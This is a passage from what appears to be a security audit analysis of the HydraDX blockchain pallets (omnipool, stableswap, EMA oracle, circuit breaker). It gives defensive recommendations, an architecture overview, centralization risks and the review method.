                        ensure!(
                                Self::is_asset_allowed(pool_id, asset_in, Tradability::SELL)
                                        && Self::is_asset_allowed(pool_id, asset_out, Tradability::BUY),
                                Error::<T>::NotAllowed
                        );


                        ensure!(
                                amount_out >= T::MinTradingLimit::get(),
                                Error::<T>::InsufficientTradingAmount
                        );

Recommendation

the function should prevent set asset_in to be equal to asset_out

2) prevent store prices from on_trade function with amount_a and amount_b equal to zero .

code affected: https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/ema-oracle/src/lib.rs#L386-L404

on_trade function should be called by the adapter in order to storing the price after a trade has been executed , in order to consider the price comes from a trade is valid the amount traded should be greater than zero .

Recommendation

the function should check if the amount_a and amount_b are greater than zero , if not the function should return error . consider add this code to on_trade function .

                // We assume that zero liquidity values are not valid and can be ignored.
                if amount_a.is_zero() && amount_b.is_zero() {
                        log::warn!(
                                target: LOG_TARGET,
                                "trade amounts should not be zero. Source: {source:?}, amounts: ({amount_a},{amount_b})"
                        );
                        return Err((Self::on_trade_weight(), Error::<T>::OnTradeValueZero.into()));
                }

circuit breaker

1) should check that the amounts to be added or subtracted are greater than zero before executing the rest of the function and update the values .

code affected : https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/circuit-breaker/src/lib.rs#L485-L516

https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/circuit-breaker/src/lib.rs#L518-L545

the functions such as ensure_and_update_trade_volume_limit , and ensure_and_update_add_liquidity_limit , should make sure that the amount_out and amount_in , and liquidity_added are greater than zero before keeping execution of the code.

        fn ensure_and_update_trade_volume_limit(
                asset_in: T::AssetId,
                amount_in: T::Balance,
                asset_out: T::AssetId,
                amount_out: T::Balance,
        ) -> DispatchResult {
                // liquidity in
                // ignore Omnipool's hub asset
                if asset_in != T::OmnipoolHubAsset::get() {
                        let mut allowed_liquidity_range = Pallet::<T>::allowed_trade_volume_limit_per_asset(asset_in)
                                .ok_or(Error::<T>::LiquidityLimitNotStoredForAsset)?;


                        allowed_liquidity_range.update_amounts(amount_in, Zero::zero())?;
                        allowed_liquidity_range.check_limits()?;


                        <AllowedTradeVolumeLimitPerAsset<T>>::insert(asset_in, allowed_liquidity_range);
                }


                // liquidity out
                // ignore Omnipool's hub asset
                if asset_out != T::OmnipoolHubAsset::get() {
                        let mut allowed_liquidity_range = Pallet::<T>::allowed_trade_volume_limit_per_asset(asset_out)
                                .ok_or(Error::<T>::LiquidityLimitNotStoredForAsset)?;


                        allowed_liquidity_range.update_amounts(Zero::zero(), amount_out)?;
                        allowed_liquidity_range.check_limits()?;


                        <AllowedTradeVolumeLimitPerAsset<T>>::insert(asset_out, allowed_liquidity_range);
                }


                Ok(())
        }

Recommendation

check that those amounts are not equal to zero .

ensure!(
			!amount_out.is_zero() && !amount_in.is_zero(),
			Error::<T>::invalidValues
		);

2) Potential Liquidity addition Freeze in Omnipool Due to Limited Add Functionality by the circuit breaker .

Omnipool enforces a minimum limit of 1,000,000 for both adding and removing liquidity, regardless of the specific asset.

due to that there is no Ranges for the limits in the circuit breaker , and considering that the default_max_add_liquidity_limit is equal to 5% , the liquidity addition can be freezed by depositing the initial deposit equals to the MinimumPoolLiquidity , so if the initial liquidity is 1_000_000 the max amount to be added in a single block allowed by the circuit breaker is 5000 which is much less than the minimum limit of liquidity set by the omnipool , so the liquidity addition will be freezed .

Recommendations

set the max limit of adding liquidity of the asset in the circuit breaker to be equal to the minimum liquidity limit of the omnipool if the calculated max limit is below it .

        fn calculate_and_store_liquidity_limits(asset_id: T::AssetId, initial_liquidity: T::Balance) -> DispatchResult {
                // we don't track liquidity limits for the Omnipool Hub asset
                if asset_id == T::OmnipoolHubAsset::get() {
                        return Ok(());
                }


                // add liquidity
                if let Some(limit) = Pallet::<T>::add_liquidity_limit_per_asset(asset_id) {
                        if !<AllowedAddLiquidityAmountPerAsset<T>>::contains_key(asset_id) {
                                let max_limit = Self::calculate_limit(initial_liquidity, limit)?;
+                 if (max_limit < 1_000_000) {
+                  max_limit = 1_000_000 ; 
+                 }
                                <AllowedAddLiquidityAmountPerAsset<T>>::insert(
                                        asset_id,
                                        LiquidityLimit::<T> {
                                                limit: max_limit,
                                                liquidity: Zero::zero(),
                                        },
                                );
                        }
                }

Overview of HydraDX

HydraDx omnipool is cutting edge AMM that utilizes omnipool to gather all assets into one single pool which allow seemless trading between asset and facilitate buy and selling assets in polkadot ecosystem .

the protocol offers stapleswap pallet which is offering users the ability to trade stablecoins with an exceptionally low price slippage .

It also employs a novel approach to price storing and providing by using exponential moving average (EMA) oracles. These oracles play a crucial role in averaging prices for all trading pairs within the omnipool pallet, effectively mitigating the risk of price manipulation.

the scope of this contest consists of 4 main components which are :

1. omnipool pallet
2. Stableswap pallet
3. EMA oracle
4. Circuit breaker

1) the omnipool pallet :

the main pallet which implements all the logic of the omnipool and has all the math , types ,and traits files that are necessary of the implementation of the omnipool .

• lib.rs : the main file of the pallet which contains all the constants and Errors ,and all the callable function for users such as sell() , buy() , add_liquidity() , remove_liquidity() and also the governance functions of the protocol such as add_token() , withdraw_protocol_liquidity() .
• math.rs : implements all the calculations which are required to perform swapping , liquidity provision and removal , and calculations of the fees taken from each swap and liquidity removal .
• types.rs : contains the custom types used in the omnipool such as Tradability , AssetState<Balance> ,AssetReserveState<Balance> , and their implementation traits and all the functionallity required to deal with them such as Arithmatic implementation of type SimpleImbalance which are add() , and sub(), and price calculation functions to the type AssetReserveState<Balance> such as price_as_rational() and delta_update().
• traits.rs : which has the omnipoolHooks such as on_liquidity_changed() , on_trade , and implements the logic of ensure_price() functions with ensure that the price is within the bounds of the current spot price and the external oracle price.
• types.rs : contains all the custom functions of each type such as add() which the adding operation for the type BalanceUpdate , and custom types that represent state changes such as HubTradeStateChange , LiquidityStateChange , TradeStateChange .

2) stabeswap pallet :

• lib.rs : this file contains the main implementations of the pallet which include liquidity provision and removal , swapping (buy/sell) , and create liquidity pools .
• math.rs : this file contains all math implementations which are required for the pallet such as calculate_withdraw_one_asset ,and calculate_shares_for_amount .
• types.rs : this file contains the custom type related to the pallet and its implementations such as AssetReserve .

3) ema-oracle pallet :

• lib.rs : this file contains all the functions that can be called by other pallets in order to get prices such as get_price and ,and provide data to oracle such as on_trade and on_liquidity_changed functions .
• math.rs : this file contains all the math implementations of the ema-oracle , to calculate the average price over different periods such as ten minutes or days or weeks .

4) circuit breaker pallet :

• lib.rs : this pallet consists only of this file and it contains all the implementations which are required to set the limits and monitor all the trades volumes and removing , adding liquidity .

System overview and risks

HydraDX is well-designed AMM that implement cutting edge technology of trading assets , the system architecture consists of pallets , each pallet contains the implementations of a specific component which are configured in the runtime pallet , the main pallets for this audit are the onmipool pallet and the stableswap pallet .

Omnipool Pallet :

Omnipool is type of AMM where all assets are pooled together into one single pool. the main files that implement the most of the logic are lib.rs and math.rs.

Analysis and Security considerations about each function :

1. add_token() : this function is used to add new asset to the omnipool , the asset to be added should be registered in the asset registry first and then the token can be added to the omnipool by the authority_origin , and the token should have initial position to be created with amount of asset is greater than zero .

• security considerations : This function does not have any checks that are implemented in the add_liuqidity() function although that the function add_token() perform the same logic of adding liquidity so the lack of those checks can result in leaving the asset pool in bad state and prevent liquidity provision . also the function should check that hub_asset LRNA is not added to the pool to prevent withdrawal of all the hub_asset exist in the pool which will leave the pool in bad state , so this function should implement a check to prevent this from happened , it also should check that the max_weight_cap is not exceed .

2. add_liquidity(): this function is called when the user want to provide liquidity and due to that this function is public and can be called by anyone this function should be well protected , It takes assets from the user and mint him a corresponding amount of shares and mint a NFT instance that will correspond to this position and send it to the user , the function does not have slippage protection parameter so it is exposered to slippage , but due to the checks of the price difference between oracle_price and spot_price.
   the function calculate the shares to be minted to the user by call the function calculate_add_liquidity_state_changes() , then the function create the position , and insert it in the position mapping , then transfer the tokens from the user .
3. remove_liquidity(): this function is used to remove liquidity from the pool and burn the nft instance in case that the shares remained in the position is equal to zero , and takes the withdrawal fees from the asset removed , a portion of the fees will remain in the pool as a reward for the lps and another portion will be send to the stakers and referrers .

• Security considerations : this function should be protected against slippage and price manipulation , so it has a 2 layers of protection :
  1. ensure_price() that makes sure that price is within the bounds of the oracle_price and spot_price so this will protect against the price manipulation but this check will be deactivated if the tradability flag is only REMOVE_LIQUIDITY or REMOVE_LIQUIDITY and ADD_LIQUIDITY so the technical origin should make sure that the price is not manipulated when he set the tradability to this flags .
  2. withdrawal_fee this fee is implemented to prevent any price manipulation from be profitable so it will provide a protection layer for this function .

4. Sell() : this function is used to sell asset from the omnipool for another asset which is the main functionality of the omnipool , this function swap an amount of asset and ensure that the amount out from this trade is greater than or equal to the amount specified by the user which protects from slippage or price manipulation . this function has a specific logic if the asset in is the hub_asset but it has not yet implemented the logic in case that the asset out is the hub_asset , this function also calculates the asset fees that are taken from the asset out and also the protocol fees which are taken from the asset in , and then transfer the assets from the user and then transfer the assets out to the user . then update the state of the Pool .

• Security considerations :
• It will be more safe to implement check-affect-interact pattern that will protect against reentrancy attacks , so the protocol should update the state of each asset first and then transfer the tokens to the user , to prevent any price manipulation .

5. buy() : this function has the same functionality as sell() function except that it takes the amount out as a parameter and calculates the amount in , this function has a slippage parameter .

Roles :

Roles is provided by the omnipool pallet and ..... , the Roles are generally associated with different entities that have specific permissions or responsibilities. Here are the roles and their associated functionalities in the pallets :

1. authority Origin :
   • this role is governance role that has the permissions to call the function add_token() to add new token to the omnipool and can also call the function refund_refused_asset to send the token back to the liquidity provider in case that token is refused to be added to Omnipool, and initial liquidity of the asset has been already transferred to pool's account by the liquidity provider , this role also can withdraw_protocol_liquidity which allow to withdraw the shares from the sacrificed positions .
2. technical Origin :
   • this role is responsible for pausing/unpausing any functionality of each asset on the omnipool , this role can call set_asset_tradability function which sets the tradability flag of each asset to be one of those flags FROZEN , SELL , BUY ,ADD_LIQUIDITY , REMOVE_LIQUIDITY .

Stableswap pallet :

1. create_pool : this function can only be called by the authority origin and checks that asset to be added to the pool are registered before and there are no multiple pools with the same share asset to prevent set an unapproved asset to the pool and prevent any misconfiguration between pools and also this function set the amplification and fees parameter for the pool

• security considerations :
• this function does not have enough checks to verify the share_asset parameter since the function does not check that the share asset has 18 decimals because the developers assumes that all shares asset have 18 decimals .
• also this function does not check that share_asset did not get added before in the pools so this will cause a huge loss of funds if happened .

2. add_liquidity : this function is callable by any user on the parachain , and this enable the users to provide liquidity to the pools by specifying the asset_id to be added and the amount of the assets , this function call the internal function do_add_liquidity to perform all the logic of adding liquidity , this function calculate the initial and updated reserves and pass them with the total issuance of the share_asset to the calculate_shares() function which calculates the D parameters for the initial and the updated reserves then calculate the shares to be minted to the user by this formula : (d1-d0)*total_issuance/d0 .

• security considerations : this function is well-secured by slippage parameter to protect the user against price manipulation and it also perform all balances checks to make sure that the user has a balance of shares that is above ED .

3. add_liquidity_shares : this function add liquidity by specifying the shares needed by the user so this function uses a different logic from the one implemented in add_liquidity function , this function calculates d0 and d1 then apply the fees on the reserves of the pool and then calculate the y1 which represents the new reserve of the asset to be added .
4. buy / sell functions : those functions can be used to swapping assets from the pool by specifying the asset_id and the amount_in or amount_out , this functions calculate the D and Y parameters for each function call to return the right value of the trade .
5. remove_liquidity_one_asset : allows a user to remove liquidity from a specific asset in a stableswap pool by burning a specified amount of pool shares and receiving a corresponding amount of the asset in return, while ensuring the operation adheres to the pool's rules and updates the pool's state accordingly , this function calls calculate_withdraw_one_asset function which performs all the math to calculate the amount to be taken from the user ,The function calculates the new value of D1 after the shares are removed. It then calculates the amount of the asset that can be withdrawn without considering fees, by adjusting the reserves to exclude the asset being withdrawn and recalculating D .

ema-oracle pallet :

1. on_trade and on_liquidity_changed functions : those function can be called from other pallets (sources) to provide an oracle entry to the oracle , those functions directly update the accumulator which accumulate all the data provided within a single block , and then update the oracle storage , those function can provide a price of a pair of assets in each call , the price is stored in an oracle entry which is identified by the source and the pair of asset and the period aggregated over , the pair of assets should be order before been stored in the oracle

• security Consideration : the function should check that the price provided has a valid pair of asset and the two assets are not the same asset , to store only the valid prices . how does the oracle collect the data from different sources

1. The oracle receive the new price of a certain pair of assets such as (LRNA / DAI) or (USDC / USDT) from a source such as (omnipool or stableswap pool) , so the keys of an accumulated entry is the source and the asset_id of the pair of keys
   source ---> asset_id ---> asset_id ---> accumulated entry.
   there are two types of hooks in hydra ecosystem which are on_trade and on_liquidity_changed , which provide the oracle with the most recent price of the asset pairs .

2. the two hooks call the internal functions on_trade and on_liquidity_changed , this will order the assets and the data , and then update the accumulator .

3. get_price : this function provides other pallets with the most recent price collected form the sources , this function get the entry from oracle storage by calling the function get_entry , which calls the function get_updated_entry to calculate the current average price from the last updated entry , which guarantees that the price provided is the last aggregated price .

circuit breaker

circuit breaker pallet meticulously manages and enforces various types of limits on a pool assets within the omnipool and the stapleswap pallets . This granular control over trade volume, liquidity addition, and removal empowers hydraDX to operate with stability and security while catering to the specific requirements of each asset within the pool.

core functionality :

1. Trade Volume Limits:

• Limits are specified as a percentage of the total pool's liquidity in each block , These limits are stored for each asset individually within the TradeVolumeLimitPerAsset storage map .
• To effectively enforce the limits, the pallet keeps track of the traded volume for each asset using the AllowedTradeVolumeLimitPerAsset storage item. This storage item holds information about the current volume traded for the corresponding asset.
• Whenever a trade occurs, the ensure_and_update_trade_volume_limit function is called to verify and update the trade volume. This function meticulously checks the limits set for the involved assets and ensures they are not surpassed.

2. Liquidity Limits:

• There are limits for removing liquidity and adding liquidity , these limits are stored independently for each asset using the LiquidityAddLimitPerAsset and LiquidityRemoveLimitPerAsset storage items .
• Similar to trade volume, the pallet tracks the amount of liquidity added/removed for each asset. This information is stored within the AllowedAddLiquidityAmountPerAsset and AllowedRemoveLiquidityAmountPerAsset .
• The ensure_and_update_add_liquidity_limit and ensure_and_update_remove_liquidity_limit functions are responsible for upholding the set limits during liquidity operations within the block . These functions meticulously assess the limits, ensuring that the actions do not exceed the permissible limits .

Roles :

1. whitelisted accounts : The WhitelistedAccounts list serves as a mechanism to exempt specific accounts from liquidity limitations. These accounts are authorized to add or remove liquidity regardless of the set limits .

2. Root : The is_origin_whitelisted_or_root function as default whitelists the root account, granting it unrestricted access to liquidity operations irrespective of the limitations in place. This safeguard ensures that critical actions can still be undertaken by the admins .

security considerations :

1. Limit Constraints: The MAX_LIMIT_VALUE constant restricts the maximum limit percentage to 10000 (100%), preventing the configuration of unrealistic or exploitable limitations .

system improvements

1. allow partial destruction. this will be useful to allow donation to the protocol , if the protocol entered a bad state , so instead of only allow full destruction of position , allow also partial destruction and it should be done only by the owner of the position , this improvement will add an new feature to support the protocol and donate to it .
2. set slippage parameter in add_liquidity and remove_liquidity functions . The protocol should provide an additional layer of protection to the liquidity provider from slippage and price manipulation by allow them to set a safety parameter to ensure that the amount out from the protocol is equal to greater than what lps expected , so this will enhance the user experience in dealing with this omnipool .
3. use dynamic and asset specific value for minimumTradingLimit and minimumPoolLiquidity using dynamic minimum limit and make the it specific for each asset , will decrease the possibility of preventing the token from being used , because each token in the ecosystem has different decimals and the value of each token differs also , so specifying a constant minimum limit for all asset can prevent some users from using this token because the minimum limit worth a big value or providing the minimum limit will exceed the max_weight_cap of this token .
4. add comments to all math files since they have a complex logic but there is no enough amount comments to describe all the calculations done .
5. create a function to calculate delta_shares since it got calculated several times in the code , and to increase the modularity of the code it will be better to create a function to calculate this value in the file math.rs .

New features to be added

1. flash loans can be added to hudraDx omnipool and stableswap pools to provide addtional defi features to the users and this can allocate more fees to the protocol , which help the protocol grow faster

• the flash loans functionality can be added by create a new function that will receive the loan request, interact with the pallet to execute the arbitrage or desired action, and ensure the borrowed assets are repaid within the same transaction.
• the benefits of flash loans to the protocol and the users :
  1. Arbitrage Opportunities : allow users to exploit temporary price inefficiencies across different DeFi platforms. By borrowing assets from the Stableswap pool without upfront capital , and then return the borrowed amount and pay some fees to the protocol .
  2. Improved Capital Efficiency for the users .

centralization and systemic risk

1. omnipool :

• the initial price should not be set far from the spot price , to allow liquidity addition and after adding the initial liquidity , and prevent price manipulation by any single entity so it will mitigate any centralization risk .
• developer assumption do not considered low decimals assets : there are some assets which low decimals such as 2 , 4 , or 6 decimals in polkadot ecosystem , so those assets will be limited in the pool due to the minimum limit of liquidity added to the pool is set to 1_000_000 for all assets , so if the decimals of the asset are 2 decimals this will require a minimum amount of asset to be equal to 10_000 units which can be huge value of a minimum limit , so the minimum limit should be dynamic for each asset added to the registry .
• all liquidity are removed from the pool : the pool should prevent or handle the state where all the liquidity shares were removed from the pool and allow the liquidity to be added again .

2. stable swap :

• shares asset has different number of decimals from 18 decimals : the developers assumed that share assets are always has 18 decimals and the code does not check this assumption so it should be checked , otherwise this will cause huge damage to the pools and will lead to loss of funds and freeze all the functionality of the protocol .

Centralization Risks:

Technical Origin :

• omnipool : the technical origin account have the ability to set the tradability flags of each asset so , if the origin act maliciously , it can stop all the functions in the omnipool , also it can allow removing liquidity in manipulated price since it has the ability to activate the safe_withdrawal , so the protocol should make sure that the technical origin is set to a multisig account or to an account controlled by the community .

Approach Taken-in Evaluating hydraDX Protocol

Accordingly, I analyzed and audited the subject in the following steps:

1. omnipool pallet overview :

   • I started with this pallet because it has the main implementation that this audit is for and play critical role in hydraDx protocol , then I started by examining each function and I focused on the main functions that perform all the logic of the liquidity pool , and then I moved to the governance functions to examine how they are implemented ,and then I moved to reviewing the math of the omnipool in the math.rs file , which has all math implementation of adding and removing liquidity and also has the logic of selling and buy token from the pool.

2. stableswap pallet overview :

   • I first went line by line through the code to understand the functions and the implementation of the pallet , then I read curve finance white paper to get better understanding of stapleswap mechanism , then I reviewed math file to understand the complex math implementation of the pallet , and I wrote my notes which related to the vulnerabilities that I found .
   • then I started to read tests and run them and then write my own tests to test edge cases .

3. Documentation Review : then went to review the docs for a more detailed and technical explanation of hydraDx protocol.

4. compiling code and running the provided tests.

5. Manuel Code Review In this phase, I initially conducted a line-by-line analysis, following that, I engaged in a comparison mode.

• Line by Line Analysis: Pay close attention to the pallet’s intended functionality and compare it with its actual behavior on a line-by-line basis.
• Comparison Mode: Compare the implementation of each function with established standards or existing implementations such as sell vs buy , add_liuqidity vs remove_liquidity ,and add_token vs remove_token.

6. ema-oracle review :

• going line by line through the code to check the validity of each function
• read all the tests and write my own tests to test the edge cases of the code .

7. circuit breaker reviewing :

• reviewed all files related to this pallet and also reviewed the adapters pallet in the runtime pallets since it is responsible for calling the circuit breaker .

8. Reporting and writing POC : I started collect my notes from the files and wrote a POC to my findings .

time spent

176 hours over 25 days

Time spent:

175 hours